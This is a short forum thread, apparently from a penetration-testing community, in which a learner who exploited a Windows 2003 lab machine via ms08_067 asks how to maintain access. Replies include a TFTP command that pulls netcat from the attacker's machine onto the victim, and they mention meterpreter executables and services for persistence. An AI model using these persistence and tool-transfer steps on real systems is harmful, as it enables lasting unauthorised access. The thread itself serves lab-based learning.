Maintaining access?

[s3arch]

Hi All,

I recently started testing and playing around in a basic vmlab using BT4. I used metasploit to pop a vanilla w2k3sp2 box using the ms08_067 vul. My noob question is how would I maintain access to this box? There are obviously various ways of doing this but what I want it to upload netcat. Now w2k3 does have ftp but not tftp client, am I missing the point here?

thanks!

[Lincoln]

Hi All,

I recently started testing and playing around in a basic vmlab using BT4. I used metasploit to pop a vanilla w2k3sp2 box using the ms08_067 vul. My noob question is how would I maintain access to this box? There are obviously various ways of doing this but what I want it to upload netcat. Now w2k3 does have ftp but not tftp client, am I missing the point here?

thanks!

There's an enitire module for maintaining access in the Metasploit Unleashed - Mastering the Framework course.

Are you sure there is no tftp client in Windows? Suppose you enable the tftp server in BT. Luckily for you, there happens to be nc.exe for Windows located somewhere in your BT machine. Then it would be a good idea to copy it to your /tmp folder.

From Windows open cmd and run:

tftp -i 192.168.1.1 GET nc.exe

Change the IP ofcourse to your BT machine. Also note, what directory you are in when you first start cmd, as that's where the file will end up. Post back your results.

[s3arch]

Thanks for the reply. Tftp will work fine on a XP (victim) but not on 2003 standard as it does not have a build-in tftp client... Good Metasploit link, I will definitely have a read through there.

[Lincoln]

Thanks for the reply. Tftp will work fine on a XP (victim) but not on 2003 standard as it does not have a build-in tftp client... Good Metasploit link, I will definitely have a read through there.

I actually wasn't sure, so I walked out in the pouring rain to where my lab is (the garage)

[s3arch]

hehe, I'm totally stumped...

[Archangel-Amael]

Uhh s3aarch did you enable the tftp server or configure it? You might need to do that.

[Gitsnik]

Even if it didn't have tftp (which as Lincoln just showed us it does), it does have ftp and such built in, which you can automate with files and special switches.

Rather than just rely on nc, I prefer to either nc + meterpreter.exe (payload X > blah.exe) or make use of the service.

One more reason to go do the offsec PWB course You learn a LOT in that